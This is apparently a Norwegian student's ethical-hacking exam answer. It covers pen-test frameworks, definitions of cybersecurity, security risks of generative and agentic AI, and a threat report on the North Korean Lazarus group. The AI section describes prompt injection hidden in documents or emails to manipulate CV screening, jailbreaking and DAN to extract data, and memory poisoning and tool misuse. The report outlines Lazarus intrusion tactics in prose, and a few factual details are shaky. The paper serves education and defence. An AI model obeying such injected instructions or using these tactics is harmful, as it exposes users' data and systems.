

TEORETISK DEL

Oppgave 1

Under eksamen i ETH2100 del 2 ble det skrevet en rapport basert på penetrasjonstest/teknisk sårbarhetsrevisjon av bedriften Boris Lockpicks. I denne rapporten benyttet jeg OWASP Web security testing guide (WSTG), OWASP top 10 og NIST special publication (SP) 800-115 som rammeverk eller testmetodikk. I denne oppgaven vil jeg fokusere på rammeverkene OWASP WSTG og NIST SP 800-115.

Begge rammeverkene ble brukt da de har forskjellige sider ved seg. WSTG er spesielt utviklet for bruk på webapplikasjoner, mens SP 800-115 er generelt for datasystemer (Karen Scarfone et al., 2008, Kapittel 1.2). WSTG inneholder også fremgangsmetode for sikring og avdekking av sårbarheter i webapplikasjon under og etter utvikling (OWASP, 2017, s. 5).

Jeg brukte rammeverkene ovenfor siden de utfyller hverandre og er ikke komplette alene. WSTG inneholder teknikker og sjekkpunkter spesifikt utviklet for webapplikasjoner, mens SP 800-115 inneholder fremgangsmetode og generelle teknikker for datasystemer (Karen Scarfone et al., 2008, Kapittel 1.2; OWASP, 2017, s. 5).

Test metodologien i WSTG er delt i to faser, Passiv modus og Aktiv modus. Passiv modus innebærer utvikling av forståelse for applikasjonens logikk og funn av http forespørsler/sendinger, cookies, http headers, parametere og generell informasjonsinnhenting. Aktiv modus innebærer forståelse av webapplikasjonens konfigurasjon og utførelse av 91 teknikker i 11 kategorier. De 11 kategoriene som blir testet er: 1. Informasjonsinnhenting, 2. Konfigurasjons og distribusjons-administration, 3. Identitetsadministrasjon, 4. Autentisering, 5. Autorisasjon, 6. Øktadministrasjon, 7. Inputvalidering, 8. Feilhåndtering, 9. Kryptografi, 10. Forretningslogik, 11. Klientside (OWASP, 2017, s. 27–28).

NIST SP 800-115 består av følgende fremgangsmåte 1. Planlegging, 2. Utførelse, 3. Etter-Utførelse. Dette er kun det man minimum bør ha med, men det er en god basislinje for hvordan man bør gå frem uten store restriksjoner på test. Dokumentet består av følgende tekniske hoved-tiltak; 1. Undersøkelsesteknikker¹ – Brukt for evaluering og gjennomgang av systemer og applikasjoner, 2. Teknikker for målidentifisering og analyse – Manuell og/eller automatisk enumerering av systemer og applikasjoner, 3. Teknikker for validering av sårbarheter² - Manuell gjennomgang av sårbarheter ved penetrasjonstest, passordknekkning og applikasjonssikkerhet testing (Karen Scarfone et al., 2008, Kapittel 2.1-2.3).

I del 2 av ETH2100 eksamen ble det vurdert bruk av penetrasjonstest³ rammeverk fra Kali Linux boken som er skrevet av Shiva V. N Parasram et.al. Dette rammeverket består av 7 deler; 1. Rekognosering, 2. Skanning og enumerering, 3. Oppnå tilgang, 4. Eskalering av privileger, 5. Opprettholdelse av tilgang, 6. Tildekking av spor, 7. Rapportering (Shiva V. N Parasram et al., 2025, s. 89).

¹ Review Techniques

² Target Vulnerability Validation Techniques

³ Teknisk sårbarhetsrevisjon

Den tekniske sårbarhetsrevisjonen var en whitebox test der vi hadde tilgang til kildekoden og en egen virtuell maskin med webapplikasjonen ferdig konfigurert og installert. Vi hadde da full tilgang og kunne resette den virtuelle maskinen når det trengtes etter testing. Kali linux rammeverket består av 7 deler, der 5 av de er relevante for denne testen siden vi ikke måtte opprettholde tilgang eller tildekke spor. Ved bruk av WSTG fikk jeg friere fremgangsmetode som enda dekket de samme metodene i kali linux rammeverket. Derfor ble det brukt WSTG og ikke kali linux.

Hvis kunden ønsket at den tekniske sårbarhetsanalysen ble utført mot et overvåket system ville kali linux rammeverket blitt brukt siden det inneholder spesifikke deler rettet mot opprettholdelse av tilganger og tildekking av spor. (OWASP, 2017, s. 27–28; Shiva V. N Parasram et al., 2025, s. 89)

Kildehenvisning 1

- Karen Scarfone, Murugiah Souppaya, Amanda Cody, & Angela Orebaugh. (2008). *NIST Special Publication 800-115* (Special Publication Nos. 800–115; 0 utg.). National Institute of Standards and Technology. <https://doi.org/10.6028/NIST.SP.800-115>
- OWASP. (2017, september 17). *OWASP Testing Guide 4.0* (Matteo Meucci & Andrew Muller, Red.). OWASP. <https://owasp.org/www-project-web-security-testing-guide/>
- Shiva V. N Parasram, Alex Samm, Damian Boodoo, Gerard Johansen, Lee Allen, Tedi Heriyanto, & Shakeel Ali. (2025). *Kali Linux 2018: Assuring Security by Penetration Testing* (4th utg.). Packt Publishing.

Oppgave 2

Begreper "cyber", "cyberspace" og "cybersikkerhet" blir ofte brukt for å beskrive noe innenfor internettet og cybersikkerhet, men hva betyr det egentlig? Ordet cyberspace ble først brukt av William Gibson i fortellingen "Burning Chrome" og Gibson har i dokumentaren "No Maps for These Territories", forklart at det var et samleord som essensielt var et "evocative and essentially meaningless" buzzord (Scott Thill, 2009).

Forsvarets fellesoperative doktrine (FFOD) har ikke en direkte definisjon av cyberspace men de henviser til prefikset "cyber-" som "Et prefiks som viser at det ordet prefikset benyttes sammen med henviser til noe i cyberdomenet, eksempelvis cyberangrep eller cybertrussel". Videre definerer de cybersikkerhet som "En ønsket tilstand hvor kommunikasjons- og informasjonssystemer kan motstå påvirkninger i cyberdomenet som kan kompromittere konfidensialiteten, integriteten og tilgjengeligheten til digitale tjenester og den informasjon som lagres, behandles eller overføres av disse systemene" (Forsvarets høgskole & Stabsskolen, 2019, s. 229).

FFOD har nevnt ordet "domenet" i definisjoner ovenfor. I følge NATO og UK Ministry of Defence er cyberspace et domene, mens luft, vann, land og verdensrom er miljøer, "NATO has only declared cyberspace as a domain with maritime, land and air and space being declared environments" (UK Ministry of defence & NATO, 2020, s. 5).

I det same dokumentet definerer organisasjonen cyberspace som "The global

domain consisting of all interconnected communication, information technology and other electronic systems, networks and their data, including those which are separated or independent, which process, store or transmit data" (UK Ministry of defence & NATO, 2020, s. 4).

I NIST Special Publication 800-160 er cybersikkerhet definert som "Prevention of damage to, protection of, and restoration of computers, electronic communications systems, electronic communications services, wire communication, and electronic communication, including information contained therein, to ensure its availability, integrity, authentication, confidentiality, and nonrepudiation" (Ron Ross et al., 2021, s. 62).

Cyberspace definisjonen til Gibson er rett og slett bare et buzzord som dekker alt av det kybernetiske han var interessert i (Scott Thill, 2009). NATO og FFOD har forskjellige definisjoner av "cyberspace" eller "cyber-". FFOD har valgt å ikke bruke ordet og bruker heller "cyber-" som et prefiks for noe som skjer i cyberdomenet (Forsvarets høyskole & Stabsskolen, 2019, s. 229). NATO sin definisjon er bredere og dekker all kommunikasjons og informasjonsteknologi og andre elektroniske systemer og nettverk inkludert all data (UK Ministry of defence & NATO, 2020, s. 4). FFOD tar utgangspunkt i at man vet hva "cyberdomenet" er. Derimot beskriver de noenlunde det samme, men i forskjellige grad.

Min tolkning av FFOD og NIST sine definisjoner av cybersikkerhet er "sikring av datasystemer der CIA trekanten er ivarettatt". Denne tolkningen er kort, dekker ikke alt cybersikkerhet er, men den er enkel og forståelig for ikke-teknisk personell. Definisjonene til FFOD og NIST er relativt like, men de beskriver datasystemene litt annerledes. FFOD bruker "kommunikasjons- og informasjonssystemer og "cyberdomenet" som samleord for datasystemer og "internett" mens NIST går i detalj om hvilke spesifikke systemer dette gjelder for. NIST beskriver også spesifikt "prevention of damage to, protection of, and restoration of" der FFOD kun bruker "ønsket tilstand" og "kan motstå påvirkninger". Begge nevner CIA trekanten og at denne ikke skal kompromitteres (Forsvarets høyskole & Stabsskolen, 2019, s. 229; Ron Ross et al., 2021, s. 62). Kort forklart innebærer cybersikkerhet sikring av systemer mot kompromittering eller endring av data i cyberspace.

Over ble ordet "cyberdomenet" nevnt og ble definert lenger opp i dokumentet, men hva er det egentlig? Jeg tolker det som at det er alt som skjer på internett og i elektroniske systemer. Ved bruk av forklaringen til ordet av NATO, så er det ikke et miljø som land, vann og luft, men et eget ord spesifikt for alt som skjer i cyberspace (UK Ministry of defence & NATO, 2020, s. 5).

Som etisk hacker jobber vi for det meste i cyberspace, men vi bruker også teknikker for tilegnelse av tilgang eller levering av skadevare utenfor cyberspace. Vi bruker sosial manipulasjon⁴ for tilegnelse av tilgang i et system eller for at offeret skal utføre en spesifikk handling i cyberspace for oss. Denne handling kan for eksempel være å koble en USB-enhet til en datamaskin eller avsløre hvordan datasystemet fungerer. Hackere kan utføre stor skade i cyberspace som påvirker hendelser i miljø som land, vann, luft og verdensrommet. Det har vært flere hendelser i Norge der utenlandske aktører har kompromittert systemer, for eksempel kompromittering av en dam i Bremanger eller kompromittering av stortinget i 2020 utført av APT28/Fancy Bear

⁴ Social Engineering

(Kari Nygard Tvilde & Per Vidar Raunholm, 2025; Politiets sikkerhetstjeneste, 2020). Etiske hackere derimot vil ikke utføre lignende angrep med mindre det er godkjent av systemeier. Etiske hackere må følge etiske retningslinjer, men det gjør ikke "normale" hackere.

Videre er det viktig at vi som etiske hackere må ha forståelse for hva vi kan angripe, hvor vi utfører angrepet og hvordan videreformidle dette til andre som ikke har lik teknisk kunnskap. En CEO trenger ikke vite alt en etisk hacker vet, med det er vår jobb som etisk hacker å forklare hva vi gjør, hvorfor vi gjør det og spesifikt hva vi angriper.

Kildehenvisning 2

- Forsvarets høgskole & Stabsskolen. (2019). *Forsvarets fellesoperative doktrine*. Forsvarsstaben. <https://kudos.dfo.no/documents/309575/files/43939.pdf>
- Kari Nygard Tvilde & Per Vidar Raunholm. (2025, juni 10). *Åtvarar mot sårbarheit: Hackarar opna damventil i Bremanger*. https://www.nrk.no/vestland/atvarar-mot-sarbarheit_-hackarar-opna-damventil-i-bremanger-1.17449834
- Politiets sikkerhetstjeneste. (2020, desember 8). *Datainnbruddet mot Stortinget er ferdig etterforsket*. <https://www.pst.no/alle-artikler/pressemeldinger/datainnbruddet-mot-stortinget-er-ferdig-etterforsket/>
- Ron Ross, Victoria Pillitteri, Richard Graubart, Deborah Bodeau, & Rosalie McQuaid. (2021, desember). *Developing Cyber-Resilient Systems: A Systems Security Engineering Approach*. National Institute of Standards and Technology. <https://doi.org/10.6028/NIST.SP.800-160v2r1>
- Scott Thill. (2009, mars 18). *March 17, 1948: William Gibson, Father of Cyberspace*. https://web.archive.org/web/20090318222544/https://www.wired.com/science/discoveries/news/2009/03/dayintech_0317
- UK Ministry of defence & NATO. (2020, januar). *Allied Joint Doctrine for Cyberspace Operations*. NATO STANDARDIZATION OFFICE. https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/899678/doctrine_nato_cyberspace_operations_ajp_3_20_1_.pdf

Oppgave 3

Kunstig intelligens har blitt en del av alle sine liv, selv om du ikke aktivt oppsøker det. Vi blir utsatt for AI gjennom bedrifter sine chatbotter, det er innebygd i de fleste søkemotorer, når vi får reklame på nettsider og er innebygd i applikasjoner du bruker til daglig (Bengt Østby, 2025, s. 7; *Google AI Overviews*, u.å.; Hill, 2012; Molly Hayes & Amanda Downie, u.å.). Ofte blir de referert til som Large Language Models (LLM) og er tilgjengelige for forbrukere via ChatGPT, Claude, Perplexity, Copilot, Gemini med flere (Bengt Østby, 2025, s. 18). De kan brukes for generering av kode, bilder, stemmer og bilder som kan brukes til reelle harmløse prosjekter eller med ondsinnede hensikter. I tek-bransjen har de for eksempel blitt integrert i sikkerhetsapplikasjoner, brukt for generering av malware og i phishing angrep og for analyse av store datamengder av data for SOC (Annie Badman & Matthew Kosinski, u.å.). Det finnes flere forskjellige typer kunstig intelligens, men de er ofte basert på

algoritmer eller neurale nettverk (Bengt Østby, 2025, s. 14, s. 18). I denne oppgaven er det tatt utgangspunkt i Generativ AI og Agentisk AI.

Generativ AI er basert på LLM modeller og kalles generative fordi de genererer innhold basert på data den spesifikke modellen har blitt trent på (Bengt Østby, 2025, s. 18). Modellene er trent til å forstå ord og setninger, men vil alltid svare basert på utregning av tokens og hva den har regnet seg frem til at vi vil ha som svar (Dave Salvator, 2025). Ved bruk av dqb-d Tiktokenizer vil setningen "Hello, i am human" oversettes til "9906, 11, 602, 1097, 264, 3823" i OpenAI GPT-4 modell (dqb-d, u.å.). Modellen kan ikke språket vårt på lik måte som et menneske, men vil forstå sammenhengen mellom ord ved bruk av tokens (Dave Salvator, 2025).

Generativ ai (GenAI) har med økende tempo blitt brukt av firmaer innenfor sikkerhetsbransjen og av trussel aktører. De er brukt i alt fra kode-verktøy til gjennomgang av data for sikkerhetsoperasjonssentrene (SOC) (Annie Badman & Matthew Kosinski, u.å.). Firmaet bak den GenAI-en Claude, avdekket i september 2025 at modellene deres var blitt utnyttet i angrep mot over 30 bedrifter. Anthropic har uttalt at de tror avanserte vedvarende trusler (APT) med kobling til kinesisk etterretning står bak angrepene. Claude ble brukt til rekognosering av ofrene, utvikling av skadevare og som et verktøy under angrepet (Anthropic, 2025). GenAI uten sensurering er mest sannsynlig blitt brukt i flere angrep og for generering av skadevare. Det er også aktivt brukt GenAI under capture the flag konkurranser i større og større grad, for eksempel av førsteplassen under Equinor CTF 2025 (Iku-toppene, 2025).

Bedrifter kan trene GenAI på sitt eget datasett for bruk som chatbot, intern støtt eller for generering av dokumentasjon eller applikasjoner (vibe coding) (Bengt Østby, 2025, s. 38).

Agentisk AI er en ofte sett på som en "problemløser" og kan sende forespørsler til andre LLM-er. Den er basert på flere lag med LLM-er og er fullstendig autonom. Agentisk AI består av generative AI-er og kan kalle på de for utførelse av brukerforespørsel. Microsoft Copilot er et eksempel på en agentisk ai. Copilot har blitt integrert i Microsoft Windows 11 og Office pakken og kan utføre handlinger på tvers av applikasjoner (Bengt Østby, 2025, s. 27).

Nvidia har opprettet 4 kategorier for klassifisering av Agentisk AI

0. Interferens API - En brukerforespørsel resulter i et kall til en modell.
1. Deterministisk system – En brukerforespørsel resulterer i flere kall til mer enn en modell.
2. Svakt autonomt system – En brukerforespørsel resulterer i mer enn ett kall og AI modellen vil bestemme om den skal kalle på plugins eller forhåndsbestemte avgjørelser.
3. Fullt autonomt system – I respons til en brukerforespørsel kan AI modellen fritt velge om den vil bruke plugins, sende forespørsler til andre AI-modeller, opprette sin egen plan og når den vil gi tilbake kontrollen til brukeren.

(Rich Harang & Martin Sablotny, 2025)

Det er knyttet forskjellige sikkerhetsutfordringer til GenAI og Agentisk AI, men i hovedsak vil angrepene kunne benyttes på begge med variert funksjon. GenAI kan

generere nye responser basert på data den er trent på, respondere med data den har tilgang til eller gi ønsket utdata. Den kan ikke modifisere data eller kjøre kommandoer direkte på systemer, med unntak av i utdata til brukeren. Brukeren må så eventuelt kjøre kommandoen eller bruke utdataen selv. Agentisk AI derimot vil gjøre mer skade, basert på hvilke nivåer den opererer med. Nivå 0 gir kun en respons og har lite kontroll på systemet. Nivå 1 kan bruke flere modeller, men det kreves enda brukerinteraksjon for stor skadeutredelse. Nivå 2 vil gi flere kall til flere modeller og har direkte tilgang til API-er eller plugins for kjøring av kommandoer eller følge forhåndsbestemte kjøring. Nivå 3 kan ta full kontroll over systemet, bestemmer selv når brukeren kan interagere med det igjen og har mulighet for å opprette sin egen plan for utvikling av løsning. Basert på dette vil agentisk ai kategorisert som nivå 2 og 3 være den største trusselen mot en bedrift. AI-en kan slette, endre eller overføre data og brukeren trenger ikke være klar over det (Rich Harang & Martin Sablotny, 2025). Det har vært flere eksempler der AI har slettet data og hallusinert løsninger for brukeren (Edwards, 2025).

Forskjellige angrep for utnyttelse av forskjellige sårbarheter. OWASP har identifisert topp ti vanlige angrep på hovedsakelig LLM, men versjoner av de eksisterer for agentisk ai. Prompt injeksjon kan "fortelle" AI-en hvordan den skal handle, uten at brukeren er klar over det. Dette kan gjøres ved å gjemme instruksjonene i et dokument eller ved sending av epost med tekst som ikke er lesbar av mennesker (Bengt Østby, 2025, s. 21). Dette kan for eksempel bli brukt for automatisk godkjenning av en jobbsøknad der CV-er blir gjennomgått av en LLM eller agentisk ai (OWASP GenAI, 2024, s. 3, s. 5). Sensitiv informasjon AI-en har trent på, har tilgang til eller ikke er segregert korrekt fra kan bli hentet ut ved bruk av "jailbreaking" eller "Do Anything Now". Angrepet vil være utført i varierende grad ut fra tilganger til AI (DAN) (OWASP GenAI, 2024, s. 7; Rich Harang & Martin Sablotny, 2025). Resten av OWASP GenAI sine topp 10 sårbarheter for LLM-er er:

3. Forsyningskjede-sårbarheter
4. Data og modellforgiftning
5. Feilhåndtering av utdata
6. Forhøyet autonomi
7. Lekkasje av prompt
8. Sårbarheter i vektor og embedding
9. Feilinformasjon eller hallusinasjon
10. Ubegrenset ressursforbruk

(OWASP GenAI, 2024, avsn. 2)

Agentisk AI vil være utsatt for de tidligere nevnte angrepene siden de kan ha kontroll over LLM-er og være basert på flere LLM modeller. De avanserte agentiske ai-ene er spesielt utsatt for minne forgiftning og misbruk av verktøy. Verktøy med agentisk ai er ofte utsatt for remote code execution (RCE) og kodeangrep. Dette kan lede til kjøring av kode direkte mot API som vil kunne slette, endre eller kompromittere data. AI-en er ikke nødvendigvis bare utsatt fra angrep av en trusselaktør, men kan også være utsatt for Confused Deputy. Denne sårbarheten kan misbrukes av en vanlig bruker som har lavere rettigheter enn AI-en og dermed får tilgang til alt som AI-en har tilgang til (OWASP GenAI, 2025, s. 13).

Kildehenvisning 3

- Annie Badman & Matthew Kosinski. (u.å.). *What Is AI Security?* IBM. Hentet 18. desember 2025, fra <https://www.ibm.com/think/topics/ai-security>
- Anthropic. (2025, september 13). *Disrupting the first reported AI-orchestrated cyber espionage campaign*. <https://www.anthropic.com/news/disrupting-AI-espionage>
- Bengt Østby. (2025). *I'm afraid I can't do that Dave* [Forelesning].
- Dave Salvator. (2025, mars 17). Explaining Tokens—The Language and Currency of AI. *NVIDIA Blog*. <https://blogs.nvidia.com/blog/ai-tokens-explained/>
- dqbd. (u.å.). *Tiktokenizer*. Hentet 18. desember 2025, fra <https://tiktokenizer.vercel.app/?model=gpt-4>
- Edwards, B. (2025, juli 24). *Two major AI coding tools wiped out user data after making cascading mistakes*. *Ars Technica*. <https://arstechnica.com/information-technology/2025/07/ai-coding-assistants-chase-phantoms-destroy-real-user-data/>
- Google AI Overviews. (u.å.). Google AI Overviews. Hentet 17. desember 2025, fra <https://search.google/ways-to-search/ai-overviews/>
- Hill, K. (2012, februar 16). *How Target Figured Out A Teen Girl Was Pregnant Before Her Father Did*. *Forbes*. <https://www.forbes.com/sites/kashmirhill/2012/02/16/how-target-figured-out-a-teen-girl-was-pregnant-before-her-father-did/>
- Iku-toppene. (2025, november). *For en helg vi har hatt!* 🏆. *Linkedin*. https://www.linkedin.com/posts/iku-toppene_for-en-helg-vi-har-hatt-equinor-ctf-activity-7393937611805052928-u6aO/?rcm=ACoAAB9_HHwBHNI5F3dF8rCIpaqhtDeuqMnowfU
- Molly Hayes & Amanda Downie. (u.å.). *Better customer service with AI agents*. Hentet 17. desember 2025, fra <https://www.ibm.com/think/topics/ai-agents-in-customer-service>
- OWASP GenAI. (2024, november 17). *OWASP Top 10 for LLM Applications 2025 Versjon 2025*. OWASP; OWASP PDF v4.2.0a 20241114-202703. <https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/>
- OWASP GenAI. (2025, desember). *Agentic AI - Threats and Mitigations versjon 1.1*. OWASP. <https://genai.owasp.org/resource/agentic-ai-threats-and-mitigations/>
- Rich Harang & Martin Sablotny. (2025, februar 25). *Agentic Autonomy Levels and Security*. *NVIDIA Technical Blog*. <https://developer.nvidia.com/blog/agentic-autonomy-levels-and-security/>

Oppgave 4

Rapport om Lazarus gruppen.

Versjon 1

Lazarus gruppen er en hackergruppe med koblinger til Reconnaissance General Bureau (RGB) i Nord-Korea og den nordkoreanske organisasjonen Lab 110 (U.S. Department of Justice, 2018). Gruppen har blitt kjent som Advanced Persistent Threat (APT) 38 og går under flere navn; Lazarus gruppen, Labyrinth Chollima,

HIDDEN COBRA, Guardians of Peace, ZINC, NICKEL ACADEMY, Diamond Sleet og TraderTraitor (Eldritch & Heiner García, 2025; The MITRE Corporation, 2025; Vilde Haugen, 2025). Gruppen har vært aktiv siden 2009 men har spor tilbake til 2007 (Novetta, 2016, s. 5). I 2020 ble flere personer med tilknytning til gruppen lagt til på FBI sin "Cyber Most Wanted" liste og de siste årene har flere uidentifiserte personer med mulig tilknytning blitt lagt til (BBC, 2021). En av bakkmennene er ifølge FBI "Park Jin Hyok" (Federal Bureau of Investigation, u.å.). Han har tidligere jobbet som programmerer på dagtid for Chosun Expo Joint Venture / Korea Expo Joint Venture / KEJV som har kontorer i Kina og Nord-Korea. KEJV har koblinger til Lab 110 som er en del av det nordkoreanske militæret (U.S. Department of Justice, 2018). "Park" har tidligere bodd i Kina, men returnerte til Nord-Korea i 2014 (BBC, 2021). Motivet bak angrepene til gruppen ser ut til å hovedsakelig være angrep på organisasjoner eller land med negative holdninger til det nordkoreanske regimet eller for økonomisk gevinst for regimet. Gruppen har tidligere hatt fokus på kompromittering av banker, men har siden flyttet fokus til bedrifter som driver med kryptovaluta (BBC, 2021).

Lazarus gruppen har stått bak noen av verdens mest skadelige angrep og noen av de største økonomiske motiverte angrepene dokumentert hittil. De har historisk hatt fokus på forskjellige bransjer. Gruppen har vært involvert i angrep på Sony Pictures Entertainment, ByBit, Axie Infinity, KuCoin, Ronin Bridge, Atomic Wallet, Upbit, sentralbanken i Bangladesh, Lockheed Martin, med flere og står bak WannaCry 2.0 angrepet i 2017 (BBC, 2021; Ravie Lakshmanan, 2025; U.S. Department of Justice, 2018; Økokrim, 2023). Angrepet på Sony Pictures Entertainment (SPE) og WannaCry 2.0 utgjorde stor skade. I avsnittene nedenfor vil 3 av angrepene til Lazarus bli detaljert fremstilt.

I 2013 ble det avduket at SPE produserte en film der de intervjuet den nordkoreanske lederen (The Interview). I filmen ble hovedrollene overtalt av CIA til å myrde Kim Jong-un. Nord-Korea truet SPE etter denne avsløringen og i 2014 ble det sendt en epost til ledere i SPE fra "Guardians of Peace" (Lazarus) som fortalte om "great damage" med mindre de stoppet utgivelsen av filmen. Tre dager etterpå hadde Lazarus full kontroll over datasystemet til SPE og hentet ut mengder med data om nye filmer, lønninger og interne dokumenter. De dokumentene ble senere offentliggjort av Lazarus og filmen ble hovedsakelig utgitt digitalt etter grove fysiske trusler mot kinoer som planla å vise filmen (BBC, 2021).

Ransomware/løsepengeviruset WannaCry som kompromitterte systemer og datamaskiner startet i 2017. Angrepet var rettet mot Microsofts operativsystem, Windows, og ble sluppet i forskjellige versjoner. WannaCry utnyttet en sårbarhet i Windows kalt Eternalblue (National Institute of Standards and Technology, 2020; The MITRE Corporation, 2024). Lazarus gruppen og "Park Jin Hyok" har blitt koblet til dette angrepet og den samme infrastrukturen som Lazarus tidligere har brukt ble også utnyttet i dette angrepet. Ransomware-angrepet kompromitterte og krypterte over flere hundre tusen systemer og det ble rapportert store problemer med U.K National Health Service sitt datasystem. I angrepet på SPE og U.K National Health Service hadde Lazarus brukt samme fremgangsmetode, phishing og spesifikt spearphishing (U.S. Department of Justice, 2018).

Lazarus har også rammet bedrifter med tilknytning til Norge. Sky Mavis og spillet Axie Infinity ble i 2022 kompromittert av Lazarus og det ble stjålet kryptovaluta for over 5 milliarder norske kroner (Tobias Kvalvik Henriksen, 2022). Norske Aleksander

Larsen er medgründer i Sky Mavis og Axie Infinity (Aleksander Leonard Larsen, 2025). I 2024 inndro økokrim 60 millioner norske kroner knyttet til angrepet. Lazarus gruppen hadde i 2024 ikke hvitvasket alle kryptovalutaene de stjal, men de bruker sofistikerte og storstilte operasjoner som vil få verdiene ut i fysiske verdier (Økokrim, 2024). I 2025 stjal Lazarus kryptovaluta for mer enn 3.4 milliarder amerikanske dollar (Ravie Lakshmanan, 2025).

Taktikk, Teknikk og Prosedyre (TTP)

Lazarus gruppen har benyttet seg av flere teknikker i diverse angrep og har et stort repertoar. De starter primært med rekognosering av de ansattes sosiale medier profiler og epostadresser. Videre blir de ansatte utsatt for et phishing/spearphishing angrep der de blir forsøkt lurt til å besøke nettsider og/eller laste ned filer. Filene og domenene⁵ vil kunne inneholde skadevare som så blir kjørt på systemet av en uvitende ansatt. Trusselaktøren har en historie med kompromittering av domener offeret besøker ofte. Denne skadevaren vil typisk være skrevet i VBA (Macro), PowerShell og Windows kommandolinje. I flere tilfeller har den initialt kompromitterte organisasjonen ikke vært hovedmålet, men et ledd i et supply chain angrep. Under noen angrep har de simpelt logget seg inn med administrator brukernavn/passord og kompromittert systemet. Etter kjøring av skadevare endrer de filer, snarveier, registernøkler og Windows verktøy for planlagte handlinger. For kontinuerlig tilgang til systemet vil de endre prosesser, registernøkler, DLL filer, brukere og legge til .lnk snarveier. Lazarus unngår sikkerhetstiltak ved sletting av filer, utbytting av ekte filer til falske filer, kryptering, modifisering av kompromitterte sikkerhetstiltak og endring av tidsperioden filer ble endret. Gruppen bruker ofte laterale bevegelser for forflytting internt i bedriften. Dette gjøres ved bruk av fildelingsverktøy som smb/shares og diverse verktøy for fjerntilgang som Windows Remote desktop protokoll eller Anydesk. Trusselaktøren har et stort nettverk for kommandering og kontroll av systemer (C2), og har ofte flere lag med proxier og kommunikasjonsløsninger som de kan falle tilbake på ved deteksjon. Dette er ofte web protokoller, enkoding av trafikk, imitering av brukte protokoller og kryptografi.

Data som blir hentet ut blir vanligvis eksfiltrert over C2 kanaler, alternative ukrypterte protokoller og skytjenester som OneDrive (The MITRE Corporation, 2025).

Det er rapportert at gruppen betaler for bruk av andre sin identitet for å få tilgang til statlige og private organisasjoner som "arbeidstakere". Personen som leier ut identiteten sin godtar kontrakter fra en eller flere organisasjoner og Lazarus utfører arbeidet. Personen utfører intervjuer, signerer kontrakter, men er ikke involvert utenom dette. På denne måten får Lazarus tilgang til organisasjoner som krever for eksempel amerikansk statsborgerskap og kan kompromittere systemet fra innsiden. Denne metoden fritar Lazarus for alt ansvar og personen som leide ut identiteten sin kan bli fengslet i flere år. Det er også rapportert om nordkoreanske arbeidstagere som har forfalsket identiteten sin for arbeid, men dette er ikke nødvendigvis tilknyttet Lazarus gruppen. Det har nylig blitt avdekket en lik sak hos Amazon, der 110ms tasteforsinkelse var det avgjørende funnet for den initiale etterforskningen (Eldritch & Heiner García, 2025; Mark Tyson, 2025).

⁵ Domenene vil ofte være brukt til hosting av skadevare.

Trusselvurdering

Denne vurderingen er basert på informasjon om ovenfor om hvem de er, hva de har stått bak og hvordan gruppen opererer. Lazarus har historikk med kompromittering av organisasjoner som har vært negative til Nord-Korea, driver med kryptovaluta, tilgang til store mengder verdifull valuta, er en del av en relevant verdikjede for eksternt angrep eller bedrifter som har kontrakter med Sør-Korea eller lignende. Organisasjonen bør derimot være noe bekymret for utnyttelse i et supply-chain-angrep og utnyttelse for kompromittering av tredjepart. Tredjeparten vil være det egentlige offeret, men den initiale kompromitteringen kan utgjøre skade på systemer til bedriften.

Ved et nytt WannaCry lignende angrep kan bedriften bli påvirket i en betydelig grad da dette angrepet ikke nødvendigvis hadde en spesifikk trussel.

Jeg har ikke tilgang til informasjon som tilsier at organisasjonen deres er kritisk infrastruktur for Norge eller annen stat.

Det er dog anbefalt innføring av sikkerhetstiltak for oppfyllelse av NIS 2 direktivet og Norsk lovverk (Regjeringen, 2021).

Kildehenvisning 4

Aleksander Leonard Larsen. (2025). *Aleksander Leonard Larsen*. LinkedIn.

<https://www.linkedin.com/in/psycheout86/>

BBC. (2021, juni 21). *The Lazarus heist: How North Korea almost pulled off a billion-dollar hack*. <https://www.bbc.com/news/stories-57520169>

Eldritch, M. & Heiner García. (2025, desember 4). *How We Caught Lazarus's IT Workers Scheme Live on Camera*. Any.Run Blog.

<https://any.run/cybersecurity-blog/lazarus-group-it-workers-investigation/>

Federal Bureau of Investigation. (u.å.). *PARK JIN HYOK*. Most Wanted. Hentet 19. desember 2025, fra <https://www.fbi.gov/wanted/cyber/park-jin-hyok>

Mark Tyson. (2025, desember 18). *North Korean infiltrator caught working in Amazon IT department thanks to lag—110ms keystroke input raises red flags over true location*. Tom's Hardware. <https://www.tomshardware.com/tech-industry/cyber-security/north-korean-infiltrator-caught-working-in-amazon-it-department-thanks-to-lag-110ms-keystroke-input-raises-red-flags-over-true-location>

National Institute of Standards and Technology. (2017, oktober 21). *CVE-2017-0144*. National Vulnerability Database. <https://nvd.nist.gov/vuln/detail/CVE-2017-0144>

Novetta. (2016, februar 26). *Operation Blockbuster: Unravel the Long Thread of the Sony Attack*.

<https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf>

Ravie Lakshmanan. (2025, desember 18). *North Korea-Linked Hackers Steal \$2.02 Billion in 2025, Leading Global Crypto Theft*. The Hacker News.

<https://thehackernews.com/2025/12/north-korea-linked-hackers-steal-202.html>

- Regjeringen. (2021, februar 16). *NIS2-direktivet* [EØS-notatbasen]. Regjeringen; regjeringen.no. <https://www.regjeringen.no/no/sub/eos-notatbasen/notatene/2021/feb/nis2-direktivet/id2846097/>
- The MITRE Corporation. (2024, desember 9). *WannaCry*. MITRE ATT&CK. <https://attack.mitre.org/software/S0366/>
- The MITRE Corporation. (2025, oktober 24). *Lazarus Group*. MITRE ATT&CK. <https://attack.mitre.org/groups/G0032/>
- Tobias Kvalvik Henriksen. (2022, september 23). *FBI-beslag på over 300 millioner kroner – norske Aleksanders selskap mangler fortsatt milliarder*. NRK. https://www.nrk.no/norge/fbi-beslag-pa-over-300-millioner-kroner-_norske-aleksanders-selskap-mangler-fortsatt-milliarder-1.16109821
- U.S. Department of Justice. (2018, september 6). *North Korean Regime-Backed Programmer Charged With Conspiracy to Conduct Multiple Cyber Attacks and Intrusions*. U.S. Department of Justice Archive. <https://www.justice.gov/archives/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and>
- Vilde Haugen. (2025, februar 27). *FBI anklager Nord-Korea for milliardtyveri av kryptovaluta*. NRK. <https://www.nrk.no/urix/fbi-anklager-nord-korea-for-milliardtyveri-av-kryptovaluta-1.17317966>
- Økokrim. (2023, februar 16). *Record cryptocurrency seizure in the Axie case*. Pressemelding. <https://www.okokrim.no/record-cryptocurrency-seizure-in-the-axie-case.6585495-549344.html>
